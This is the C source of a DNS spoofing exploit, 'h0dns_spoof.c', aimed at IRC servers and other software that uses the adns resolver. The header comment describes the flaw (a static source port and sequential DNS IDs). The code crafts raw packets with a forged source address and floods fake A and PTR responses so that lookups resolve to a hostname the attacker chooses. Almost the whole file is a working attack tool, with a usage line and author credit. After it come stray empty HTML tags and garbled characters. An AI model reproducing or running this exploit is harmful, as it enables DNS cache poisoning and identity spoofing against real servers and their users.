/* h0dns_spoof.c - zmda - saik0pod@yahoo.com * - spoof dns on ircd's using the h0dns code * * - spoof dns on anything using the adns (asynchronous dns resolver) code * * - The bug: * - Static source port used by the adns code * - Sequential DNS ids in request packets * * - Initiate sequence to trigger a dns lookup by the adns resolver. Send * the same range of spoofed DNS ids in a constant flood spoofed as the * primary DNS server for the host. Even a local DNS request will take * long enough to allow some amount of the spoofed DNS responses through * before the primary DNS responds. Since the resolver does not cache * results, the dns lookups can be triggered until the DNS id is * incremented within the DNS id range being spoofed. * */ #include #include #include #include #include #include #include #include #include #include #include #include #ifndef u8 #define u8 unsigned char #endif #ifndef u16 #define u16 unsigned short #endif #ifndef u32 #define u32 unsigned long #endif struct dns_header { u16 id; u16 flags; u16 questions; u16 answer_rr; u16 auth_rr; u16 extra_rr; } __attribute__((packed)); struct dns_data { u16 name; u16 type; u16 class; u16 ttlh; u16 ttl; u16 data_len; /* data len - sizeof(char *) */ char *data; /* data */ } __attribute__((packed)); struct dns_packet { size_t len; u8 type; char *data; /* packet data */ }; struct dns_query { size_t len; char *data; }; struct ip_header { u8 ihl:4, version:4; u8 tos; u16 tot_len; u16 id; u16 frag_off; u8 ttl; u8 protocol; u16 check; u32 saddr; u32 daddr; }; struct udp_header { u16 source; u16 dest; u16 len; u16 check; }; #define DNS_A 0x0001 #define DNS_PTR 0x000c struct udp_packet { struct ip_header iph; struct udp_header udph; }; void usage() { fprintf(stderr, "usage: ./h0dns_spoof " " \n"); exit(-1); } void fatal(char *reason) { fprintf(stderr, "fatal: %s\n", reason); exit(-1); } unsigned short csum(unsigned short *addr, int len) { register int sum = 0; u_short answer = 0; register u_short *w = addr; register int nleft = len; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)w ; sum += answer; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return(answer); /* return the checksum value. */ } struct udp_packet *alloc_packet(size_t datalen) { struct udp_packet *packet; struct ip_header *iph; struct udp_header *udph; if(!(packet = calloc(1, sizeof(struct udp_packet) + datalen))) fatal("error: allocating udp packet"); iph = &packet->iph; udph = &packet->udph; iph->ihl = 5; iph->version = 4; iph->tos = 0; iph->tot_len = sizeof(struct udp_packet) + datalen; iph->id = htonl(0xbeef); iph->frag_off = 0; iph->ttl = 255; iph->protocol = 17; udph->len = htons(sizeof(struct udp_header) + datalen); return(packet); } void init_packet(long source, int sport, long dest, int port, struct udp_packet *udp_packet, struct dns_packet *dns_packet) { struct ip_header *iph; struct udp_header *udph; char *data; iph = &udp_packet->iph; udph = &udp_packet->udph; iph->saddr = source; iph->daddr = dest; iph->check = csum((unsigned short *)iph, sizeof(struct ip_header)); udph->check = 0; udph->source = htons(sport); udph->dest = htons(port); data = (char *)udp_packet + sizeof(struct udp_packet); memcpy(data, &dns_packet->data, dns_packet->len); } char *dns_string_format(char *out, char *in) { int i, x; for(i = strlen(in) - 1, x = 0; i > -1; i--, x++) { if(in[i] == '.') { out[i] = x; x = -1; } else out[i] = in[i]; } out[i] = x; return(out); } struct dns_packet *alloc_dns_packet(char *query_data, size_t qlen, char *answer_data, int type) { struct dns_packet *dns_packet; struct dns_header *dns_header; struct dns_data *dns_data; char *query, *answer; size_t totlen, alen; if(type == DNS_A) alen = 4; else alen = strlen(answer_data); totlen = sizeof(struct dns_header) + qlen + sizeof(struct dns_data) - sizeof(char *) + alen + ((type == DNS_A) ? 0 : 2); if((dns_packet = calloc(1, totlen + sizeof(size_t) + 1 + sizeof(char *))) == NULL) fatal("failed alloc"); dns_packet->len = totlen; dns_header = (struct dns_header *) &dns_packet->data; query = (char *) &dns_packet->data + sizeof(struct dns_header); dns_data = (struct dns_data *) (query + qlen); answer = (char *) &dns_data->data + ((type == DNS_A) ? 0 : 1); dns_header->flags = htons(0x8180); dns_header->questions = htons(1); dns_header->answer_rr = htons(1); dns_header->auth_rr = htons(0); dns_header->extra_rr = htons(0); memcpy(query, query_data, qlen); dns_data->name = htons(0xc00c); dns_data->type = htons(type); dns_data->class = htons(1); dns_data->ttl = htons(300); dns_data->data_len = htons(alen + ((type == DNS_A) ? 0 : 1)); if(type == DNS_A) memcpy(answer, &answer_data, 4); else dns_string_format(answer, answer_data); return(dns_packet); } struct dns_query *alloc_dns_query(char *query, int qtype) { struct dns_query *dns_query; size_t qlen; int i, x = 0; char *p; char *data; u16 *type, *class; qlen = 1 + strlen(query) + 1 + 2 + 2; if((dns_query = (struct dns_query *)calloc(1, sizeof(size_t) + qlen)) == NULL) fatal("fatal alloc\n"); dns_query->len = qlen; data = (char *) &dns_query->data + 1; type = (u16 *) (data + strlen(query) + 1); class = (u16 *) type + 1; dns_string_format(data, query); *type = htons(qtype); *class = htons(1); return(dns_query); }; int send_packet(struct in_addr src, u16 sport, struct in_addr dst, u16 dport, struct udp_packet *udp_packet, struct dns_packet *dns_packet, u32 dns_id) { struct sockaddr_in sin; struct dns_header *dns_header; int s, olen; unsigned char *p; int i; dns_header = (struct dns_header *) &dns_packet->data; dns_header->id = htons(dns_id); init_packet(src.s_addr, sport, dst.s_addr, dport, udp_packet, dns_packet); sin.sin_family = AF_INET; sin.sin_addr = dst; sin.sin_port = htons(sport); if((s = socket(AF_INET, SOCK_RAW, IPPROTO_UDP)) < 0) { fprintf(stderr, "%s: ERROR send_packet() -> socket()\n", inet_ntoa(dst)); return(s); } if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, &olen, sizeof(olen)) < 0) fprintf(stderr, "ERROR: could not set socket option IP_HDRINCL.\n"); while(sendto(s, udp_packet, sizeof(struct udp_packet) + dns_packet->len, 0, (struct sockaddr *)&sin, sizeof(sin)) < 0) { if(errno == ENOBUFS) usleep(50); else { fprintf(stderr, "%s: send_packet() -> sendto() [%d]\n", inet_ntoa(dst), errno); close(s); return(-1); } } close(s); } void do_spoof(struct in_addr src, u16 sport, struct in_addr dst, u16 dport, struct in_addr me, char *answer, u16 dns_id) { struct udp_packet *udp_packet_A, *udp_packet_PTR; struct dns_packet *dns_packet_A, *dns_packet_PTR; struct dns_query *dns_query_A, *dns_query_PTR; char query[255]; int i; printf("dns_id = %d\n", dns_id); snprintf(query, sizeof(query) - 1, "%d.%d.%d.%d.in-addr.arpa", (me.s_addr >> 24), (me.s_addr >> 16) & 0xff, (me.s_addr >> 8) & 0xff, (me.s_addr ) & 0xff); dns_query_A = alloc_dns_query(answer, DNS_A); dns_packet_A = alloc_dns_packet((char *)&dns_query_A->data, dns_query_A->len, (char *)me.s_addr, DNS_A); udp_packet_A = alloc_packet(dns_packet_A->len); dns_query_PTR = alloc_dns_query(query, DNS_PTR); dns_packet_PTR = alloc_dns_packet((char *)&dns_query_PTR->data, dns_query_PTR->len, answer, DNS_PTR); udp_packet_PTR = alloc_packet(dns_packet_PTR->len); /* weee flood time */ for(i = 0; ; i++) { send_packet(src, sport, dst, dport, udp_packet_A, dns_packet_A, dns_id + i); send_packet(src, sport, dst, dport, udp_packet_PTR, dns_packet_PTR, dns_id + i); usleep(50); if(i > 3) i = 0; } } long resolve(char *host) { struct in_addr ip; struct hostent *he; if((ip.s_addr = inet_addr(host)) == -1) { if(!(he = gethostbyname(host))) return(-1); else memcpy(&ip.s_addr, he->h_addr, 4); } return(ip.s_addr); } int main(int argc, char *argv[]) { int i, dns_port, dns_id; struct in_addr ircd, ircd_ns, me; char *spoof_host; printf("###### h0dns_spoof1.c - zmda - saik0pod@yahoo.com ######\n"); if(argc < 6) usage(); if((ircd.s_addr = resolve(argv[1])) == -1) fatal("ircd host invalid"); dns_port = atoi(argv[2]); if((ircd_ns.s_addr = resolve(argv[3])) == -1) fatal("ircd dns host invalid"); if((me.s_addr = resolve(argv[4])) == -1) fatal("my host invalid"); spoof_host = argv[5]; dns_id = atoi(argv[6]); do_spoof(ircd_ns, 53, ircd, dns_port, me, spoof_host, dns_id); }
<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            ÑÇÖÞÅ·ÃÀÔÚÏß